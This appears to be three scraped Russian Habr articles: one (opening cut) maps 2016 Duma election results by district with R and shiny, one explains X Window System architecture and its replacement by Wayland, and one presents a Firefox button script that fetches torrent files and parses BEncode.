Сведения о результатах голосования предоставляет ЦИК РФ. Разнообразные цифры с разбивкой по округам доступны [на этой странице](http://www.vybory.izbirkom.ru/region/region/izbirkom?action=show&root=1&tvd=100100067795854&vrn=100100067795849®ion=0&global=1&sub_region=0&prver=0&pronetvd=0&vibid=100100067795854&type=233). Геоданные всех избирательных округов подготовлены Михаилом Каленковым и его соратниками из сообщества GIS-LAB. Подробности [здесь](http://wiki.gis-lab.info/w/%D0%A1%D1%85%D0%B5%D0%BC%D0%B0_%D0%BE%D0%B4%D0%BD%D0%BE%D0%BC%D0%B0%D0%BD%D0%B4%D0%B0%D1%82%D0%BD%D1%8B%D1%85_%D0%BE%D0%BA%D1%80%D1%83%D0%B3%D0%BE%D0%B2_%D0%B4%D0%BB%D1%8F_%D0%BF%D1%80%D0%BE%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D1%8F_%D0%B2%D1%8B%D0%B1%D0%BE%D1%80%D0%BE%D0%B2_%D0%B2_%D0%93%D0%BE%D1%81%D0%B4%D1%83%D0%BC%D1%83). Карты составлены в проекции EPSG:3857.
### Географические карты
Во главу угла была поставлена быстрая отрисовка карт. Поэтому использовались геоданные с максимально упрощенной геометрией округов — 0.1 % от исходных данных. Кроме того, я выбирал между двумя библиотеками для работы с географическими картами — `leaflet` и `highcharts`. Оказалось, что для используемого датасета leaflet на моем лэптопе строит карту c 225 округами за 200 — 300 мс. В highcharts для отображения той же карты требуется примерно в 6 раз больше времени. Хотя, на мой вкус, карты в highcharts выглядят более эстетично по сравнению с картами библиотеки leaflet. Для отрисовки избирательных округов Москвы и Санкт-Петербурга использовался более подробный файл с упрощением до 30 % от исходных данных. В leaflet удобнее работать с shape файлами, поэтому исходные geojson файлы был конвертированы в требуемый формат.
### Отображение результатов голосования
Я использовал R и shiny для представления результатов голосования в избирательных округах. Если у вас установлен R, то вы можете запустить показанное ниже приложение на своем компьютере. Для этого требуется загрузить библиотеки shiny и pacman — команда `install.packages(c("shiny", "pacman"))`, и запустить приложение командой `shiny::runGitHub("e-chankov/elections_2016_districts")`. Для просмотра был использован Firefox 49.0.2 в полноэкранном режиме.
### Результаты партий
Три снимка ниже демонстрируют результаты партий "Единая Россия", "КПРФ" и "РОСТ".
Фильтр позволяет выделять округа, которые не попали в заданный диапазон. Синий цвет — результаты меньше нижней границы фильтра, оранжевый цвет — результаты выше верхней границы фильтра.
### Явка
Как и в предыдущей вкладке, задание границ явки выделяет округа вне установленных рамок. По тем округам, которые удовлетворяют условию фильтра, вычисляются процентные результаты партий и сравниваются с набранными значениями по всем округам.
"Единая Россия" теряет более 10% от своего итогового результата, если учитывать только округа с явкой до 48 %. Больше всех приобретает "ЛДПР" — 3.5%.
Картина меняется на противоположную, если отсекать округа с меньшей явкой. Только изменение в процентах не столь сильное, как при исключении округов с высокой явкой. При данных границах больше всех теряет "Яблоко".
### Сравнение результатов партий
У "ЛДПР", по сравнению с "КПРФ", преимущество на Дальнем Востоке и севере России.
"Яблоко" явно превосходит "Коммунистов России" в Москве и Санкт-Петербурге. В большей части остальных регионов у "Коммунистов России" преимущество перед "Яблоком".
Данные, R-скрипт с предобработкой данных и R-скрипты для shiny приложения доступны на [GitHub](https://github.com/e-chankov/elections_2016_districts).
[Во второй части](https://habrahabr.ru/post/313372/) статьи вы найдете диаграммы с результатами голосования по участковым комиссиям.
Эти графики показывают необычные закономерности в исследуемых данных.
|
https://habr.com/ru/post/313270/
| null |
ru
| null |
# Что придет на замену X Window System?
Одним из знаменательных Linux событий прошлого года стал выход 25-й Федоры с графическим окружением Gnome 3.22 на базе *дисплейного сервера Wayland*, который призван заменить [X Window System](https://wayland.freedesktop.org/faq.html). Но зачем вообще после стольких лет возникла такая необходимость?
> *В последнее время экипаж МКС пересел с Windows на Linux.
>
> — Хьюстон, у нас проблемы. Нас сносит на Юпитер.
>
> — Вы что, опять возились с xorg.conf?
>
> — Да. Хьюстон, за три последних дня у нас почему-то выросли бороды.*
Далее, речь о том, почему Linux необходима новая графическая среда, хотя бы в 2017 г, а отдельным постом я расскажу про Wayland и Mir.
### Номенклатура X
Я уверен, что вы уже прочитали статью Хабрапост про [графический стек Linux](https://habrahabr.ru/post/148954/), а также [страницу на Вики](https://en.wikipedia.org/wiki/X_Window_System_protocols_and_architecture) и теперь можете уверенно двигаться дальше. Ну, а если пока оставили в закладках, позвольте вкратце напомнить.
* **X Window System** — Система оконного интерфейса X, создана в недрах MIT летом 1984 г. В иксах определен протокол, но сводить все к протоколу не оправданно, хотя чисто технически так оно и есть. Дело в том, что протокол сам по себе окошки не рисует, а все то, что сегодня управляет графикой на Unix / Linux системах — это больше чем протокол.
* **X11** — Одиннадцатая версия X, которая была выпущена в 1987 г. и в различных ипостасях благополучно дожила до наших дней. В частности, от нее отпочковался *XFree86*, из которого затем появился по настоящему свободный *X.Org Server*, с лицензией GPL, как положено. В данном тексте X11 будет обозначать протокол, в отличие от X, под которым подразумевается вся его совокупность компонент, ПО в целом.
* **X.Org Server** — Свободная каноническая реализация серверной части иксов, то что на сегодняшний день является X-сервером для Linux.
```
(5:50)$ eix -c xorg-server
[I] x11-base/xorg-server ([email protected]): X.Org X servers
```
* **Xlib** — Каноническая реализация клиентской части X, хранилище огромного количества утилит для управления оконным интерфейсом. Это довольно громоздкая библиотека, состоящая из > 400 файлов, содержащих свыше 150 тыс. строк мутноватого кода, в основном 1980-х гг. Вызовы *Xlib* бывают синхронные, а иногда — асинхронные, что ставит в тупик неискушенных разработчиков, так как непонятно следует-ли затем очищать буфер обмена.
* **XCB** — X protocol C-language Binding, клиентская библиотека X написанная на C. *XCB* имеет массу преимуществ перед *Xlib*: прямой доступ к X11, проще и легче, потребление памяти ниже, поддерживает многопоточность и расширения, не блокирует приложение. Предполагалось, что *XCB* заменит *Xlib*, но инерция накопленной кодобазы тормозит это благое начинание.
[](https://habrastorage.org/files/669/dad/62e/669dad62e45f45d9a6480c57c06dc18d.png)
Графическая подсистема X.Org Server состоит из двух частей.
* **DIX** — Device Independent X, что переводится как *X не зависящий от устройств*, в основном это программный рендеринг.
* **DDX** — Device Dependent X, что переводится как *X зависимый от устройств*, взаимодействие с графической картой, устройствами ввода.
Еще немного тезауруса о технологиях, благодаря которым современное графическое окружение Linux держит свою марку.
* **Cairo** — Библиотека, предназначенная для вывода 2D векторной графики на любые устройства. Приложения, например FireFox, могут использовать ее напрямую, или с помощью тулкитов, таких как GTK+.
* **XRender** — Расширение протокола X для реализации алгоритма композиции Портера-Даффа в X-сервере, который применяют для отрисовки примитивов с антиалиасингом.
* **Pixman** — Библиотека для выполнения операций по манипулированию областями пикселей, которая применяется для низкоуровневой отрисовки графики во многих открытых проектах, в том числе в X.Org, Cairo и Firefox.
* **Mesa** — Реализация OpenGL, OpenCL и Vulkan API для Linux и Unix, включающая в себя как программные библиотеки, так и набор драйверов видеокарт. *Mesa* имеет и умеет много чего, но в основном это открытая реализация OpenGL API, для трансляции которого в исполнительные команды используются программные:
+ `swrast` — устаревший и слишком тормознутый,
+ `softpipe` — средне,
+ `lvmpipe` — может и быстрый,
и аппаратные бэкенды с помощью открытых драйверов intel, radeon и noveau.
+ `r600g`
+ `r300g`
+ `nvc0`
* **Gallium** — API для создания в целом аппаратно-независимых графических драйверов, используя для этого напрямую объекты, в которых инкапсулирован набор ключевых функций видеокарты. Содержит программный растерайзер `OpenSWR`, в отличие от предыдущих трех, он на стероидах и значительно быстрее `lvmpipe`.
* **DRI** — Direct Rendering Infrastructure — интерфейс и свободная его реализация в X Window System, позволяющие пользовательским процессам оперативно и безопасно получать доступ к видеокарте без необходимости задействовать X server. Основное предназначение *DRI* — предоставить аппаратное ускорение для *Mesa*. С недавних пор получил распространение новый стандарт DRI3, в котором X-клиенты самостоятельно обращаются к буферу видеокарты, вместо того, чтобы полагаться в этом на X сервер. Также отпала необходимость взаимодействия с подсистемой GEM (Graphics Execution Manager), которая признана устаревшей и имеет проблемы с безопасностью.
* **AIGLX** — Accelerated Indirect GLX, открытый проект, разрабатываемый сообществами Red Hat и Fedora Linux для поддержки совместимого с X.Org и DRI драйверами прямого GLX рендеринга. Это позволяет удаленному X-клиенту получать полностью аппаратно ускоренный рендеринг через протокол GLX; эта разработка необходима для OpenGL менеджеров прозрачности (таких как Compiz и Beryl) для работы с аппаратным ускорением.
* **GEM/TTM** — Модули ядра управления видеопамятью, из них первый для интегрированных графических карт, а второй — универсальный. *GEM* более новый и имеет лучшую производительность, однако и проблемы с безопасностью, которые разрешены в DRI3.
### Всемогущий X
> *Программирование на X — это как чтение французских философов, после этого начинаешь задаваться вопросом: что я на самом деле знаю?*
>
> Томас Турман.
Кому на сегодняшний день позарез нужны иксы? В Android телефонах, телевизорах, планшетах X Windows System не используется, [Хромбуки](https://hostink.ru/news/Chrome_OS_Freon/) тоже как-то без них обходятся. Значит речь идет только о Linux / Unix рабочих станциях, в основном по той причине, что тулкиты GTK+ и QT, долгое время не могли обходиться без X.
В этом году X11 исполняется 30 лет. Секрет живучести X Window System в следующих принципах, сформулированных в 1996 г.
* Добавляй новую функциональность только в том случае, если без нее нельзя завершить уже существующее приложение.
* Решить, чем система не является, столь же важно, сколь решить, чем она является. Не пытайся удовлетворить все мыслимые потребности; вместо этого сделай систему расширяемой, чтобы новые потребности могли быть удовлетворены совместимым образом.
* Хуже обобщения одного примера может быть только обобщение вообще без примеров.
* Если проблема не понята до конца, возможно, лучше не решать ее вовсе.
* Если ты можешь добиться 90 процентов нужного эффекта, затратив всего 10 процентов сил, используй более простое решение.
* Изолируй сложные места как можно тщательнее.
* **Обеспечивай механизм, а не политику**. В частности, клиент должен определять политику пользовательского интерфейса.
Сочетание этих принципов позволило X11 быть невероятно гибким и масштабируемым решением для столь разных графических оболочек Unix в течении долгого времени. Особенное место занимает последний — обеспечить механизм, для того, чтобы X-клиент смог реализовать все свои затеи. Обратной стороной такой всеядности и живучести стало невероятное нагромождение устаревших стандартов, методов и технологий. Можно вспомнить [сервер шрифтов](https://keithp.com/~keithp/talks/xtc2001/paper/) вместе с XLFD или движок для отрисовки многоугольников и разноцветных полос.
Изначально X был государством в государстве и подменял собой множество функции ядра ОС:
* Modesetting
* 2D/3D ускорение
* Ускорение рендеринга видео
* Напрямую взаимодействует с GPU как root
* Управление памятью
* Привязка клавиатуры
* Устройства ввода
* Clipping
Из все этого списка, пункт первый являлся корнем всех добродетелей и зол, так как ни одна другая графическая система с открытым ПО не сумела решить эту задачу для всех платформ. Сейчас почти весь этот список в ядре, в том числе и `modesetting`, но позади долгий этап планомерного принуждения иксов к миру, то есть к разумному сосуществованию в окружении GNU/Linux.
### X.Org и принуждение к миру
Некоторое время всех все устраивало, программисты ваяли стильные приложения, примерно такие.
Затем внезапно устройства стали более быстрыми, мощными и сложными: несколько GPU, мониторов, разношерстые устройства ввода. Рендеринг также стал более сложным, появился OpenGL. X Window system стала обрастать расширениями, однако **ядро протокола** по политическим мотивам **осталось нетронутым**. На все недостатки находились обходные пути, и пошло и поехало… BIOS видеокарты, порты I/O, подсистема питания. И всем этим хозяйством X управлял из рук вон плохо, превратившись в ОС внутри ОС, причем достаточно паршивую ОС.
Стало понятно, что иксы нужно менять, но в этот момент начались [дрязги и пляски](https://en.wikipedia.org/wiki/XFree86) вокруг лицензии xfree86. После того, как страсти по лицензиям утихли, произошло размежевание иксовых разработчиков и основная их масса выбрала X.Org со свободной лицензией GPL. Работа снова закипела.
* Монолитный X разбили на несколько частей. Ну как несколько… 345 git модулей. Правда большая часть из этого в итоге оказалось не нужна.
* Затем пошла зачистка кода. Xserver 1.0.2: 879,403 строк кода, в 2013-м уже осталось 562,678. По оценке же Кита Пакарда выпилено аж 500 тыс. строк кода. Кто-нибудь из-за этого огорчился?
* Modesetting, управление памятью, поддержка устройств ввода, все ушло в кернел. Привязка клавиатуры, правда, все еще в иксах из-за своей невероятной сложности. Кто-то советовался с Джа, когда придумал это.
Какие-же функции остались за X сервером после всех этих трансформаций? В принципе не так уж много. По сути основная работа иксов состоит в том, чтобы **посредничать** *между X-клиентом и WM — оконным менеджером*. Клиентская программа рисует фрейм, X сервер передает данные WM, который рендерит кадр, определяет местоположение окна и передает обратно серверу, который показывает готовый результат. *Основную работу сейчас делает именно WM*, и напрашивается вопрос. А что случится, если мы уберем посредника? Ответ — Wayland.
Точно так-же при обновлении содержимого экрана иксы не при делах. Приложение рисует что-то, данные через DRI попадают в область off-screen buffer памяти видеокарты. Приложение затем оповещает сервер о том, что буфер изменился, а X-сервер передает это сообщение WM, и тот через DRI рисует новую картинку.
Помимо этого остаются архитектурные ограничения, которые **невозможно обойти**, не ломая совместимость с древними Motif приложениями. Да-да, не смейтесь, несколько лет назад я сам с такими работал и даже сопровождал. К таким ограничениям относится ужасный IPC, полный захват устройств ввода, в результате чего скринсейвер не запускается при открытом меню, кнопки управления звуком блокированы скринсейвером и pop-up сообщениями. Дерганое изображение, неравномерная отрисовка, артефакты обновления, это все **никуда не денется**, *как бы ни старались иксовые программисты*, а они стараются все меньше и все больше перестраиваются на Wayland. Ах, да и еще имманентное состояние гонки.
### Состояние гонки
В силу своей асинхронности X11 предрасположен создавать состояние гонки между событиями X-клиента или между быстрым и ~~мертвым~~ тормознутым X-клиентом. Возьмем простейший случай: пользователь щелчком левой кнопки мыши вызывает меню приложения, затем отпускает кнопку и приложение при наведения курсора выполняет определенное действие. Покажем последовательность событий на диаграмме Фейнмана.
1. Пользователь щелкает левой кнопкой мыши.
2. Сервер посылает событие `ButtonPress`приложению.
3. Приложение вызывает `MapWindow` для показа меню.
4. Сервер открывает окно с меню приложения.
5. Сервер посылает приложению событие `Expose`.
6. Приложение рисует картинку с меню.
На диаграмме видно, что произойдет, если пользователь отпустит левую клавишу раньше события 4. Если натренированный на действие пользователь заранее переместился на место предполагаемого пункта меню до того момента, пока там возникло новое окно, то тогда произойдет состояние гонки *mouse ahead*. Событие `ButtonRelease` придется на еще не занятую новым окном область экрана. Это вполне вероятно на удаленных X-сессиях по медленной сети.
```
Server Client
+-------+ +-----+
Left Button Down
|
+----------------> Map menu
Left Button Up |
| |
+-------------------------------> No menu operations visible
|
Map Window <-----------------------+
```
Указанный выше сценарий благополучно завершится без состояния гонки при использовании `synchronous grab`, т. е. синхронного захвата, который ставит на паузу все события с устройств ввода, точнее буферизирует их. Однако в более сложных сценариях и это не помогает. К тому же от этого страдает производительность приложения.
### Промежуточные итоги
Тридцать лет тому назад Unix сервера и рабочие станции благодаря X Window System получили унифицированную графическую среду, что было довольно прогрессивным и важным шагом для ИТ индустрии. Кто сейчас восхищается давнишними конкурентами — Sun NeWS, Amiga, или ругает их? Тогда иксы обошли их во за счет кросс-платформенности, возможности запускать приложения поверх TCP/IP, что было сравнимо с http доступом для веб приложений сегодня.
Вместе с тем создатели иксов явно где-то перемудрили. Принцип обеспечения механизмов, но не политики впоследствии сыграл злую шутку с экосистемой X и она обросла всем тем, чем обросла. За десятилетия ландшафт компьютеров, устройств и ПО радикально изменился, а X Window System проникла на лаптопы и даже смартфоны Нокиа. До сих пор разработчикам вполне удавалось держать проект на плаву, благодаря миграции значительной части функционала в ядро. Этот ресурс уже тоже исчерпан, и в силу вступил неумолимый **закон убывающей отдачи**. Наконец-то есть возможность начать с чистого листа, догнать и перегнать тренд, вместо того, чтобы плестись за ним. Я также связываю с этим давно обещанный прорыв Linux на десктопы. Закономерность или случайность, но Linux имеет полное доминирование на устройствах, где нет X сервера.
Как должна происходить замена X Window System на Wayland или Mir? Нельзя так просто дать готовый рецепт, но можно сказать как не должно поступать. Чтобы без хейтеров и фанбоев, без шоковой терапии и подозрительных двадцати раундов голосования с итоговым перевесом [в один голос](https://www.linux.org.ru/news/debian/10161361). Без раскола сообщества. Словом, без всего того, что имело место при замене систем инициализации на `systemd`. А вы как считаете?
### Ссылки по теме
1. Kernel Recipes 2014 [The Linux graphics stack and Nouveau driver](http://www.slideshare.net/ennael/kr2014-nouveau)
2. [X and the future of Linux graphics](https://www.youtube.com/watch?v=dZI4pAvK_RY)
3. Linux.conf.au 2013 [The real story behind Wayland and X](https://www.youtube.com/watch?v=cQoQE_HDG8g)
4. [The X Windowing System](http://www.catb.org/esr/writings/taouu/html/ch02s06.html)
5. [Explaining X11 for the rest of us](http://magcius.github.io/xplain/article/)
6. [Thoughts about DRI.Next](https://keithp.com/blogs/DRI-Next/)
|
https://habr.com/ru/post/321470/
| null |
ru
| null |
# Парсинг BEncode на JavaScript. Просмотр торрент-файлов в Firefox
#### I. Зачем
Есть несколько способов просматривать торрент-файлы: в торрент-клиенте, в [BEncode Editor](http://forum.utorrent.com/viewtopic.php?id=31306), в файловых менеджерах с плагинами, возможно в сетевых сервисах (но это немножко стрёмно).
Но не всегда удобно вызывать из браузера внешнюю программу. Не всегда эта программа выдаёт полную информацию. Не всегда в удобном виде. Не всегда с возможностью поиска. Поэтому хотелось бы иметь в браузере простой способ просмотреть торрент-файл, чтобы, например:
— узнать содержимое раздачи;
— узнать количество файлов в раздаче;
— узнать информацию о файлах (некоторые трекеры очень снисходительны к неполноте описаний, а в торрент-файлах появляется всё больше информации о файлах — например, разрешение, видео- и аудиокодеки, продолжительность фильмов и т. д.);
— узнать информацию о самом торрент-файле (время создания, трекеры, флаг приватности и т. д.);
— иметь возможность текстового поиска по всей информации.
#### II. Стратегия
Для нашей задачи можно написать расширение к браузеру, но это сопряжено с целым рядом дополнительных трудностей. Поэтому мы воспользуемся упрощённым способом.
Расширение [Custom Buttons](https://addons.mozilla.org/ru/firefox/addon/custom-buttons/) позволяет создавать кнопки с произвольным кодом. Ещё лучше то, что код этот выполняется в контексте браузера, имеет доступ к тем же компонентам и интерфейсам, что и расширения, и даже может создавать элементы графического интерфейса произвольной сложности. Поэтому мы просто создадим новую кнопку и наполним её кодом (для всего понадобится двести строк) Весь следующий код нужно вставлять во вкладку инициализации новосозданной кнопки, чтобы он выполнялся при каждом запуске браузера, раз и на всю сессию определяя нужное поведение кнопки. А можно и не вставлять: расширение добавляет в браузер протокол custombutton://, и в конце статьи я дам ссылку, просто нажав на которую можно создать готовую кнопку с кодом (останется только перенести её из палитры инструментов в удобное место).
#### III. Тактика
##### 1. Пользовательский интерфейс
```
var btn = this;
var imgMain = "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAAdVBMVEX////////////////////////////////XzeWjisHx7vaKaq5nNpV8VqSDYaqtmMiTdbS2pM/MwN6YfLjBstd7VqRuQZnk3u7y7/eKa6+SdbR1S56CX6jXzuabgLv49/uhh7+JaK39/P3e1ury7vbLv97g2es6Rn8YAAAAB3RSTlMAYMAg0PDzqTbVzAAAAAFiS0dEAIgFHUgAAAAJcEhZcwAAAEgAAABIAEbJaz4AAACcSURBVBjTXY/bAoIgEEQRsWERUykDMu1m/f8ntqC+dJ6WYfYyQjCFBCMLsVIqaGI0VJnflaltpjZVUpRp7EZjFPcj/R/bLntQCKm56IE2e7QUIGsJ7tSeaUhVEi5wgw/OR2uvWegQvR9zy+ogWDi7CzyUMO4CD+W1EdQj7mvTYT7cJkx0nO9qPf2B8JxdwOtQbuHeC5bPdwv3F/8HCk4KcI8+awQAAAAldEVYdGRhdGU6Y3JlYXRlADIwMTItMDYtMjZUMjE6MDk6MDQrMDQ6MDD1mOHZAAAAJXRFWHRkYXRlOm1vZGlmeQAyMDEyLTA2LTI2VDIxOjA5OjA0KzA0OjAwhMVZZQAAAABJRU5ErkJggg==";
var imgThrobber = "data:image/gif;base64,R0lGODlhEAAQAOMIAAAAABoaGjMzM0xMTGZmZoCAgJmZmbKysv///////////////////////////////yH/C05FVFNDQVBFMi4wAwEAAAAh+QQBCgAIACwAAAAAEAAQAAAESBDJiQCgmFqbZwjVhhwH9n3hSJbeSa1sm5GUIHSTYSC2jeu63q0D3PlwCB1lMMgUChgmk/J8LqUIAgFRhV6z2q0VF94iJ9pOBAAh+QQBCgAPACwAAAAAEAAQAAAESPDJ+UKgmFqbpxDV9gAA9n3hSJbeSa1sm5HUMHTTcTy2jeu63q0D3PlwDx2FQMgYDBgmk/J8LqWPQuFRhV6z2q0VF94iJ9pOBAAh+QQBCgAPACwAAAAAEAAQAAAESPDJ+YSgmFqb5xjV9gQB9n3hSJbeSa1sm5EUQXQTADy2jeu63q0D3PlwDx2lUMgcDhgmk/J8LqUPg+FRhV6z2q0VF94iJ9pOBAAh+QQBCgAPACwAAAAAEAAQAAAESPDJ+cagmFqbJyHV9ggC9n3hSJbeSa1sm5FUUXRTEDy2jeu63q0D3PlwDx3FYMgAABgmk/J8LqWPw+FRhV6z2q0VF94iJ9pOBAAh+QQBCgAPACwAAAAAEAAQAAAESPDJ+QihmFqbZynV9gwD9n3hSJbeSa1sm5GUYXSTIDy2jeu63q0D3PlwDx3lcMgEAhgmk/J8LqUPAOBRhV6z2q0VF94iJ9pOBAAh+QQBCgAPACwAAAAAEAAQAAAESPDJ+UqhmFqbpzHV9hAE9n3hSJbeSa1sm5HUcXTTMDy2jeu63q0D3PlwDx0FAMgIBBgmk/J8LqWPQOBRhV6z2q0VF94iJ9pOBAAh+QQBCgAPACwAAAAAEAAQAAAESPDJ+YyhmFqb5znV9hQF9n3hSJbeSa1sm5EUAHQTQTy2jeu63q0D3PlwDx0lEMgMBhgmk/J8LqUPgeBRhV6z2q0VF94iJ9pOBAAh+QQBCgAPACwAAAAAEAAQAAAESPDJ+c6hmFqbJwDV9hgG9n3hSJbeSa1sm5FUEHRTUTy2jeu63q0D3PlwDx1FIMgQCBgmk/J8LqWPweBRhV6z2q0VF94iJ9pOBAA7";
function clickBtn(event) {
if (event.button == 0) {
event.preventDefault();
var tFileURL = prompt("Torrent File URL:");
if (tFileURL) {
getTFile(tFileURL);
}
}
}
function checkDrag(event) {
if (event.dataTransfer.types.contains("text/uri-list")) {
event.preventDefault();
}
}
function onDrop(event) {
var tFileURL = event.dataTransfer.getData("URL");
if (tFileURL) {
getTFile(tFileURL);
}
event.preventDefault();
}
btn.addEventListener("click", clickBtn, true);
btn.addEventListener("dragenter", checkDrag, true);
btn.addEventListener("dragover", checkDrag, true);
btn.addEventListener("drop", onDrop, true);
btn.onDestroy = function() {
btn.removeEventListener("click", clickBtn, true);
btn.removeEventListener("dragenter", checkDrag, true);
btn.removeEventListener("dragover", checkDrag, true);
btn.removeEventListener("drop", onDrop, true);
}
```
В этом кусочке мы получаем объект кнопки, задаём два изображения (одно — главное, другое — стандартный индикатор загрузки файла, они будут чередоваться), определяем обработчики событий и привязываем их к кнопке.
Мы получаем два способа отдавать программе адрес торрент-файла: если есть ссылка, мы просто перетаскиваем её на кнопку ([описание механизмов](https://developer.mozilla.org/en/DragDrop/Drag_and_Drop)). Если есть строка с адресом в буфере, мы нажимаем на кнопку и вставляем адрес в появляющееся поле.
В конце мы задаём деструкторы для привязанных обработчиков. В Custom Buttons есть неприятный баг: если явно не задать отвязки, обработчики будут наслаиваться друг на друга с каждым открытием и закрытием палитры инструментов (даже если вы настраиваете что-то другое при её помощи).
##### 2. Получение торрент-файла
```
function getTFile(tFileURL) {
btn.image = imgThrobber;
var xhr = new XMLHttpRequest();
xhr.mozBackgroundRequest = true;
var sendData;
if (tFileURL.indexOf("http://dl.rutracker.org/forum/dl.php") > -1) {
xhr.open("POST", tFileURL, true);
sendData = tFileURL.replace(/^.+\b(t=\d+).*$/, "$1");
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.setRequestHeader("Referer", "http://rutracker.org/forum/viewtopic.php?t=" + tFileURL.replace(/^.+\bt=(\d+).*$/, "$1"));
}
else {
xhr.open("GET", tFileURL, true);
sendData = null;
}
xhr.timeout = 10000;
if(!/^file:/.test(tFileURL)) {
xhr.channel.loadFlags |= Components.interfaces.nsIRequest.LOAD_BYPASS_CACHE;
xhr.channel.QueryInterface(Components.interfaces.nsIHttpChannelInternal)
.forceAllowThirdPartyCookie = true;
}
xhr.responseType = "arraybuffer";
xhr.onload = function() {
btn.image = imgMain;
processTFile(this.response);
}
xhr.ontimeout = function() {
btn.image = imgMain;
alert("Timeout");
}
xhr.onerror = function() {
btn.image = imgMain;
alert("HTTP error");
}
xhr.send(sendData);
}
```
Заметим для начала, что торрент-файлы пишутся на языке BEncode ([описание языка](http://wiki.theory.org/BitTorrentSpecification#Bencoding) и [формат торрент-файлов](http://wiki.theory.org/BitTorrentSpecification#Metainfo_File_Structure)). Он немного похож на JSON по своим возможностям. Но в нём есть одна закавыка: теги, числа и строки в нём кодируются, как правило, на UTF-8, однако некоторые строки содержат бинарные данные (простую последовательность байтов, не подчиняющуюся правилам UTF-8). Поэтому нельзя просто обработать всю строку как UTF-8, декодировщик запнётся и выдаст ошибку о неправильном UTF-8. При разборе файла нужно иметь в виду эту предосторожность.
Теперь несколько замечаний о самом запросе и получении файла.
Мы запускаем картинку-пульсатор и задаём флаг фонового запроса, чтобы упростить работу браузеру. Потом мы проверяем адрес и успокаиваем защиту самого известного отечественного торрент-трекера, запрещающего скачивание торрент-файлов не со страниц сайта (этот способ, позволяющий расширениям работать с торрент-файлами трекера, когда-то при введении защиты описали сами разработчики сайта).
Чтобы заставить Firefox отсылать куки с XHR даже тогда, когда пользователь запретил куки со сторонних сайтов, устанавливаем флаг принудительной отсылки (без этого куки не принимаются и не отсылаются). Конечно, флаги принудительной отсылки кук и обхода кеша нужны только для сетевых протоколов, поэтому в случае протокола локальных файлов мы их не устанавливаем.
Раньше, чтобы получить бинарный файл от XMLHttpRequest, нужно было [прибегать к некоторому колдунству](https://developer.mozilla.org/en/DOM/XMLHttpRequest/Sending_and_Receiving_Binary_Data#Receiving_binary_data_in_older_browsers). С введением новых типов ответа в XHR [всё упростилось](https://developer.mozilla.org/en/DOM/XMLHttpRequest/Sending_and_Receiving_Binary_Data#Receiving_binary_data_using_JavaScript_typed_arrays). Поэтому мы и будем использовать тип `arraybuffer` и работать в будущем с [typed arrays](https://developer.mozilla.org/en/JavaScript_typed_arrays).
В конце концов мы задаём обработчики разных исходов нашего запроса (каждый раз не забывая сменить пульсатор на обычную картинку). В случае успеха мы переходим к разбору полученного файла.
##### 3. Обработка и вывод торрент-файла
```
function processTFile(tFile) {
var byteArray = new Uint8Array(tFile);
var torrentObject = bdecode(byteArray);
if (torrentObject) {
if (torrentObject['creation date']) {
torrentObject['creation date'] = (new Date(torrentObject['creation date']*1000)).toLocaleString();
}
if (torrentObject.info) {
var files = torrentObject.info.files;
if (files && files instanceof Array) {
for (var i = 0, file; file = files[i]; i++) {
if (file.length) {
file.length = Number((file.length / 1024).toFixed(2)).toLocaleString() + " KB";
}
if (file['path.utf-8']) {
file['path.utf-8'] = file['path.utf-8'].join("/");
}
if (file.path) {
file.path = file.path.join("/");
}
}
if (files[0]['path.utf-8']) {
files = files.sort(
function(o1, o2) {
if (o1['path.utf-8'] > o2['path.utf-8']) {return 1;}
else if (o1['path.utf-8'] < o2['path.utf-8']) {return -1;}
else {return 0;}
}
);
}
else if (files[0].path) {
files = files.sort(
function(o1, o2) {
if (o1['path'] > o2['path']) {return 1;}
else if (o1['path'] < o2['path']) {return -1;}
else {return 0;}
}
);
}
files.unshift(files.length);
}
else {
if (torrentObject.info.length) {
torrentObject.info.length = Number((torrentObject.info.length / 1024).toFixed(2)).toLocaleString() + " KB";
}
}
}
if (gBrowser.selectedBrowser.currentURI.spec == "about:blank" && !gBrowser.selectedBrowser.webProgress.isLoadingDocument) {
gBrowser.selectedBrowser.loadURI(
"data:application/json;charset=utf-8," +
encodeURIComponent(JSON.stringify(torrentObject, null, '\t'))
);
}
else {
gBrowser.selectedTab = gBrowser.addTab(
"data:application/json;charset=utf-8," +
encodeURIComponent(JSON.stringify(torrentObject, null, '\t'))
);
}
torrentObject = null;
}
else {
alert("Parsing error");
}
}
```
Создав массив байтов, мы передаём его декодировщику BEncode (о нём чуть позже) и получаем от него обычный объект (ассоциированный массив, хэш), копирующий структуру торрент-файла (а если не получаем, выдаём сообщение об ошибке разбора). Потом мы приводим некоторые данные в более читаемый вид (дату создания, размеры файлов и пути к ним), сортируем объекты файлов по свойству пути и вставляем в начало файлового списка общее количество файлов. После этого мы проверяем, не открыта ли у нас в текущей вкладке пустая страница и не загружается ли в неё что-нибудь. Если открыта и не загружается, мы будем выводить в текущую вкладку, если нет — открывать новую и выводить в неё.
Вывод мы будем осуществлять в JSON для простоты и универсальности. Вывод немного отформатируем. Но лучше всего установить какое-нибудь расширение, подсвечивающее JSON и позволяющее обращаться с ним как с древовидной структурой, сворачивая и разворачивая узлы (например, [JSONView](https://addons.mozilla.org/ru/firefox/addon/jsonview/)). После вывода на всякий случая обнуляем громадный объект (если это не паранойя).
##### 4. Парсер BEncode
```
function bdecode(byteArray, byteIndex, isRawBytes) {
if (byteIndex === undefined) {
byteIndex = [0];
}
var item = String.fromCharCode(byteArray[byteIndex[0]++]);
if(item == 'd') {
var dic = {};
item = String.fromCharCode(byteArray[byteIndex[0]++]);
while(item != 'e') {
byteIndex[0]--;
var key = bdecode(byteArray, byteIndex);
if (key == "pieces") {
dic[key] = bdecode(byteArray, byteIndex, true);
}
else {
dic[key] = bdecode(byteArray, byteIndex);
}
item = String.fromCharCode(byteArray[byteIndex[0]++]);
}
return dic;
}
if(item == 'l') {
var list = [];
item = String.fromCharCode(byteArray[byteIndex[0]++]);
while(item != 'e') {
byteIndex[0]--;
list.push(bdecode(byteArray, byteIndex));
item = String.fromCharCode(byteArray[byteIndex[0]++]);
}
return list;
}
if(item == 'i') {
var num = '';
item = String.fromCharCode(byteArray[byteIndex[0]++]);
while(item != 'e') {
num += item;
item = String.fromCharCode(byteArray[byteIndex[0]++]);
}
return Number(num);
}
if(/\d/.test(item)) {
var num = '';
while(/\d/.test(item)) {
num += item;
